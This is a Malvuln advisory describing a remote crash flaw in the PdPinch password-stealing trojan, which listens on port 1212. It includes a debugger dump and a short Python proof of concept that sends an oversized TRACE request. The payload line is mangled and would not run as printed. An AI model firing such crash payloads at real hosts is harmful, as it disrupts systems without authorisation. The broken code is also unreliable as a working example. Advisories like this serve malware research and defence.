Discovery / credits: Malvuln – malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0e4fbfeb6f7a98e437a497013b285ffc.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-PSW.Win32.PdPinch.gen
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP port 1212. Third-party attackers who can reach infected systems can send a specially crafted junk HTTP request to trigger an access violation and crash.
Type: PE32
MD5: 0e4fbfeb6f7a98e437a497013b285ffc
Vuln ID: MVID-2021-0358
Disclosure: 10/04/2021

Memory Dump:
(dc4c.da68): Access violation – code c0000005 (first/second chance not available)
eax=04ad131c ebx=746d5600 ecx=02620d08 edx=746ed51c esi=00000004 edi=74749290
eip=74744637 esp=04ad0f00 ebp=04ad1304 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206

0:007> .ecxr
eax=04ad131c ebx=746d5600 ecx=02620d08 edx=746ed51c esi=00000004 edi=74749290
eip=74744637 esp=04ad0f00 ebp=04ad1304 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0xd2a7:
74744637 56 push esi

0:007> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

FAULTING_IP:
apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7
74744637 56 push esi

EXCEPTION_RECORD: ffffffff — (.exr 0xffffffffffffffff)
ExceptionAddress: 74744637 (apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0x0000d2a7)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 04ad0efc
Attempt to write to address 04ad0efc

PROCESS_NAME: Trojan-PSW.Win32.PdPinch.gen.0e4fbfeb6f7a98e437a497013b285ffc.exe

ADDITIONAL_DEBUG_TEXT:
Use ‘!findthebuild’ command to search for the target build information.
If the build information is available, run ‘!findthebuild -s ; .reload’ to set symbol path and load symbols.

MODULE_NAME: apphelp

FAULTING_MODULE: 77d70000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP: 5066dc78

ERROR_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 04ad0efc

WRITE_ADDRESS: 04ad0efc

FOLLOWUP_IP:
apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7
74744637 56 push esi

MOD_LIST: <ANALYSIS/>

CONTEXT: 00010008 — (.cxr 0x10008)
Unable to read context, HRESULT 0x80004002

FAULTING_THREAD: 0000da68

BUGCHECK_STR: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_EXH

PRIMARY_PROBLEM_CLASS: INVALID_STACK_ACCESS_EXPLOITABLE_EXH

DEFAULT_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_EXH

LAST_CONTROL_TRANSFER: from 00000000 to 74744637

STACK_TEXT:
04ad1304 00000000 04ad131c 04ad136c 747414b5 apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0xd2a7

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7

FOLLOWUP_NAME: MachineOwner

IMAGE_NAME: apphelp.dll

STACK_COMMAND: .cxr 0x10008 ; kb

BUCKET_ID: WRONG_SYMBOLS

FAILURE_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_EXH_c0000005_apphelp.dll!DWM8And16Bit_RestoreDisplayMode_CallOut

Exploit/PoC:
from socket import *

MALWARE_HOST=”x.x.x.x”
PORT=1212

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD=TRACE / “A”*3073 HTTP/1.1 Host: 0ZYST;onoGij=F9rX2rnContent-MD5: “A”*3073rnrn
s.send(PAYLOAD)
s.close()

Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).